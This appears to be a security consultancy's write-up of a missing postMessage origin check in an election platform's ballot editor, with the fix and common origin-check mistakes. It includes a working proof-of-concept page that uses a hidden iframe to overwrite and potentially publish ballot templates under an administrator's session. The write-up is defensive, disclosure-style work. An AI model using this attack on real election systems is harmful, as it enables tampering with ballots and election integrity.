The iframe That Could Rewrite Ballot Templates
javascript
// The handler that ran on every message received by the ballot editor
window.addEventListener('message', function(event) {
// No origin check.
const action = event.data.action;
if (action === 'save-template') {
saveTemplate(event.data.templateContent);
}
});One missing line. Any origin. Any content.
How the Ballot Editor Was Built
The election management platform used a split-frame architecture for ballot design. The platform's administrative interface loaded a dedicated ballot editor in an iframe. The editor was a self-contained application responsible for rendering, editing, and saving ballot templates — the structured documents that defined question order, candidate lists, and voting instructions.
Communication between the outer administrative shell and the inner editor happened via postMessage. When an administrator made changes in the outer interface — selecting a precinct, loading a template version, triggering a save — the shell posted a message to the iframe. The editor responded to these messages and performed the corresponding operations.
The design made sense architecturally. postMessage is the correct mechanism for cross-frame communication. What was missing was the one property that makes it secure.
The Missing Check
The browser's postMessage API includes event.origin — the origin of the window that sent the message. When a parent page sends a message to an iframe, event.origin is set to the parent's origin. When a completely different page sends a message to the same iframe (by embedding it and posting messages to its content window), event.origin reflects that attacker-controlled origin instead.
Without checking event.origin, the editor had no way to distinguish these two cases. A message from the legitimate administrative shell looked identical to a message from a page the attacker controlled.
The secure version of the handler:
javascript
const ALLOWED_ORIGINS = ['https://elections.example.gov'];
window.addEventListener('message', function(event) {
if (!ALLOWED_ORIGINS.includes(event.origin)) {
return; // Ignore messages from unexpected origins
}
const action = event.data.action;
if (action === 'save-template') {
saveTemplate(event.data.templateContent);
}
});The deployed version had none of this. The handler processed every message from every origin without question.
What the Editor Would Do
Before attempting to exploit the vulnerability, it was necessary to understand what commands the editor accepted and what each command could do. The postMessage interface was documented in the platform's internal developer notes — found as a publicly accessible JavaScript source file.
The editor accepted the following action types:
load-template— Load a ballot template by ID from the serversave-template— Write the current template content to the server under the active template IDset-content— Replace the editor's working content with a supplied stringpublish— Mark the active template as published and eligible for use in live electionsget-state— Return the current editor state to the parent via a response message
The combination of set-content followed by save-template was the critical path. It allowed an attacker to specify arbitrary ballot content and persist it to the server, overwriting whatever template the administrator had been working on.
Constructing the Attack
The attack required only a web page and a URL to send to an authenticated election administrator.
The attacker's page embedded the ballot editor in a hidden iframe and drove it through the postMessage interface:
html
<!DOCTYPE html>
<html>
<body>
<iframe id="editor"
src="https://elections.example.gov/ballot-editor?templateId=42"
style="display:none"
width="0" height="0">
</iframe>
<script>
const frame = document.getElementById('editor');
frame.addEventListener('load', function() {
// Step 1: Replace editor content with attacker-controlled ballot text
frame.contentWindow.postMessage({
action: 'set-content',
templateContent: ATTACKER_CONTROLLED_BALLOT_CONTENT
}, '*');
// Step 2: After a short delay, trigger the save
setTimeout(function() {
frame.contentWindow.postMessage({
action: 'save-template'
}, '*');
}, 500);
});
</script>
</body>
</html>When an authenticated administrator visited this page, the iframe loaded the ballot editor with their session credentials. The editor received both messages, replaced its content, and wrote the attacker-controlled content to the server under template ID 42.
The administrator saw a blank-looking page. The ballot template had been overwritten.
The Session Problem
The attack worked because the iframe loaded the ballot editor with the administrator's own session cookies. The administrator was authenticated. When the editor's JavaScript made API calls to save the template, those calls carried the administrator's credentials in the browser's cookie store.
No session theft was required. No credentials were exposed. The attacker's page did not need to read anything from the iframe — the same-origin policy prevented that. The attack only needed to write commands in, not read data out. postMessage was the one mechanism that let the attacker bypass the same-origin policy's directional protection.
This is a commonly misunderstood aspect of postMessage vulnerabilities: the same-origin policy prevents a cross-origin page from reading an iframe's content. It does not prevent a cross-origin page from posting messages to that iframe. The policy is asymmetric. Reading is blocked. Writing via postMessage is not — it is explicitly permitted as a controlled communication channel. The control is supposed to come from origin validation. Without it, the channel is open.
Scope of What Could Be Changed
The save-template action wrote to the specific template ID that the editor had been loaded with. The templateId parameter in the iframe URL controlled which template would be overwritten.
An attacker crafting a targeted attack could choose which template to corrupt by varying that parameter. The platform's template IDs were sequential integers — enumerable through any of the standard parameter fuzzing techniques. The attacker's page could be constructed with a specific template ID in mind, targeted at a particular election or ballot question.
The publish action was also accessible via postMessage. A two-stage attack — overwrite content, then publish — would push attacker-controlled ballot content into the live election pipeline without requiring any further administrative action.
How It Was Discovered
The vulnerability was identified during a review of the platform's JavaScript bundles. The ballot editor loaded a substantial amount of client-side code, and the message event listener was the first handler examined after identifying the postMessage-based communication architecture.
The test was straightforward: open a browser console on any page, find the iframe's content window reference, and send it a test message:
javascript
// Run from browser devtools on any page that has the editor loaded
const frame = document.querySelector('iframe[src*="ballot-editor"]');
frame.contentWindow.postMessage({
action: 'set-content',
templateContent: 'TEST CONTENT'
}, '*');The editor's content changed. The origin check that should have prevented this was absent.
From there, a proof-of-concept page was constructed that demonstrated the full attack chain: load the editor in a hidden iframe, set arbitrary content, trigger a save, and verify server-side persistence through a subsequent API call to the template retrieval endpoint.
The Fix
The fix was a targeted change to the message event handler — add an origin allowlist and return early if the sender is not recognized:
javascript
const TRUSTED_ORIGINS = new Set([
'https://admin.elections.example.gov',
'https://elections.example.gov'
]);
window.addEventListener('message', function(event) {
if (!TRUSTED_ORIGINS.has(event.origin)) {
console.warn('Rejected message from untrusted origin:', event.origin);
return;
}
const { action, templateContent, templateId } = event.data;
switch (action) {
case 'load-template':
loadTemplate(templateId);
break;
case 'set-content':
setEditorContent(templateContent);
break;
case 'save-template':
saveTemplate();
break;
case 'publish':
publishTemplate();
break;
default:
console.warn('Unknown action:', action);
}
});Additionally, postMessage calls from the parent shell were updated to specify the target origin explicitly rather than using the '*' wildcard:
javascript
// Before (sends to any origin):
editorFrame.contentWindow.postMessage(message, '*');
// After (sends only to the expected origin):
editorFrame.contentWindow.postMessage(message, 'https://elections.example.gov');The wildcard target origin '*' in the sender does not create the same vulnerability as a missing origin check in the receiver — but it can leak data if the iframe is ever navigated away from the expected page. Specifying the target origin explicitly prevents the parent from inadvertently sending sensitive messages to an unexpected page loaded in the same frame.
The Broader Context
postMessage vulnerabilities appear consistently in applications that use iframes for embedded functionality — payment widgets, rich text editors, document viewers, and in this case, ballot design tools. The pattern is the same: a parent application communicates with an embedded component via postMessage, the embedded component implements powerful server-side operations, and the origin check is either missing or implemented incorrectly.
Incorrect implementations take several forms beyond a complete absence of the check:
String prefix matching: event.origin.startsWith('https://example.com') can be bypassed with a domain like https://example.com.attacker.io.
Substring matching: event.origin.includes('example.com') is bypassed similarly.
null origin: Sandboxed iframes and certain browser contexts report event.origin as the string 'null'. An application that checks event.origin === 'null' may accept messages from sandboxed attacker-controlled iframes.
The only correct implementation is an exact equality check against a hardcoded allowlist of expected origins. No wildcards, no prefix matching, no relaxation for null.
Key Takeaways
postMessage is designed for cross-origin communication, which means the browser deliberately allows messages to cross the same-origin boundary. The security guarantee is that the receiver can always know who sent the message via event.origin. That guarantee only helps if the receiver checks.
An unvalidated postMessage handler in an iframe is a remote command interface. Any page that can embed the iframe — which, unless X-Frame-Options or frame-ancestors CSP is configured, means any page at all — can drive it programmatically. If the iframe performs privileged operations like saving data or triggering state changes, those operations are available to the attacker.
The vulnerability is trivially fixed. The impact, in systems where the embedded component manages sensitive content, can be severe.
Think your embedded components need a review? Get in touch.